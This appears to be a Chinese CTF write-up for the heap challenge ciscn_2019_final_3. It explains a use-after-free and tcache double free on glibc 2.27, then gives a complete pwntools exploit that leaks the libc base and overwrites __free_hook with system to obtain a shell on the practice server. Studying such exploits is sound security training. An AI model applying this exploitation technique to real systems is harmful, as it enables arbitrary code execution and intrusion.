ciscn_2019_final_3(tcache)

漏洞

本题中限制了chunk的申请大小,最大只能0x78,无法直接申请大于0x400的chunk
free后指针并没有清零,存在uaf
tcache中的chunk被拿出时,不会check size
因为是2.27版本,所以tcache中可以直接进行double free(tcache dup)

tcache,这个东西在2.23之后的版本中出现,释放的chunk会优先放到tcache中,而同一size的tache chunk最多只能7个,之后再释放此size的chunk,会放到fastbin或者unsortedbin中,而放到unsortedbin中的要求是此chunk的size要大于0x400。

利用

题目只有add和free,并且add后会将相应的地址打出来。所以首先得让chunk进入unsortedbin中,来泄露libc基址。

因为最大chunk限制0x78,而free unsortedchunk时,需要下面有chunk垫着防止与top chunk合并,所以,要多申请一些chunk,这里直接申请了0-8的chunk(包括每个chunkheader一共加起来大于0x400),在0中获取了此chunk的地址后,

通过重复释放两次同一chunk,在tcache中形成循环,在申请一次这个大小的chunk,进行写入fd,在申请两次这个大小的chunk,即可实现fd任意地址写。利用这一点,可以将chunk0的size改为0x461(为什么是0x461呢,经过计算,chunk0除去header,加上下面8个chunk,一共0x461,正好到chunk9的header,不这样对齐会报错)

free(0)之后,就会发现进入了unsortedbin中,此时已经出现了main_arena地址,但是我们拿不到 ,这里又涉及到unsortedbin的一个机制,申请的内存在tcache中没有时,如果unsortedbin中有,那会直接从unsortedbin’中切出这一块内存,然后把main_arena的fd和bk,写到切割后的chunk的fd bk中,所以之前申请大片内存时,就要保证chunk0和chunk1的size不同,此时先free(1),chunk1进入了tcache,但他又存在于unsortedbin中,之后再申请一个chunk0size的chunk,就会切割unsortedchunk,将fd bk放入chunk1的fd和bk位,之后连续申请2此chunk1size的chunk,即可泄露main_arena+96的地址。

因为full relro,所以无法修改got表,所以打free_hook,这里有小技巧,可以用main_arena-0x10得到malloc_hook地址,之后减去sym["__malloc_hook"]得到正确的 libc _base,free_hook的地址也这么获得,之后还是dup将free改为system,之后在任意一个chunk上写上/bin/sh,free(4),getshell

from pwn import * 
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')

ms = remote("node3.buuoj.cn",26576)
#ms = process("./ciscn")
libc = ELF("./libc.so.6")

def add(n,size,content):
    ms.sendlineafter('choice > ', '1')
    ms.sendlineafter('input the index\n', str(n))
    ms.sendlineafter('input the size\n', str(size))
    ms.sendlineafter('now you can write something\n', content)
# def edit(n,text):
# 	ms.sendlineafter("Command: ",'2')
# 	ms.sendlineafter("Index: ",str(n))
# 	ms.sendlineafter("Size: ",len(text))
# 	ms.sendafter("Content: ",text)
def free(n):
    ms.sendlineafter('choice > ', '2')
    ms.sendlineafter('input the index\n', str(n))
# def show(n):
# 	ms.sendlineafter("Command: ",'4')
# 	ms.sendlineafter("Index: ",str(n))

add(0,0x70,'a')
ms.recvuntil("gift :")
heap_addr = int(ms.recv(14),16)
log.info("heap_addr="+hex(heap_addr))
#sum
add(1,0x50,'a')
add(2,0x70,'a')
add(3,0x70,'a')
add(4,0x70,"/bin/sh")
add(5,0x70,'a')
add(6,0x70,'a')
add(7,0x70,'a')
add(8,0x70,'a')

add(9,0x10,'a')
add(10,0x70,'a')
add(11,0x30,'a')
#unsortedbin
free(11)
free(11)
add(12,0x30,p64(heap_addr-0x10))#1
add(13,0x30,'a')#1
add(14,0x30,p64(0)+p64(0x461))
free(0)
#leak
free(1)#chunk1 into tcache
add(15,0x70,'a')#size0,cut unsortedbin
add(16,0x50,'a')#size1
add(17,0x50,'a')#size1,main_arena+96
ms.recvuntil("gift :")
main_arena = int(ms.recv(14),16)-96
log.info("main_arena="+hex(main_arena))
libc_base = main_arena-0x10-libc.sym["__malloc_hook"]
log.info("libc_base="+hex(libc_base))
free_hook = libc_base+libc.sym["__free_hook"]
log.info("free_hook="+hex(free_hook))
system = libc_base+libc.sym["system"]
add(18,0x10,'a')
free(18)
free(18)
add(19,0x10,p64(free_hook))
add(20,0x10,'a')
add(21,0x10,p64(system))
free(4)
#malloc_hook = main_arena-0x10
#log.info("malloc_hook="+hex(malloc_hook))


#gdb.attach(ms)
ms.interactive()
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值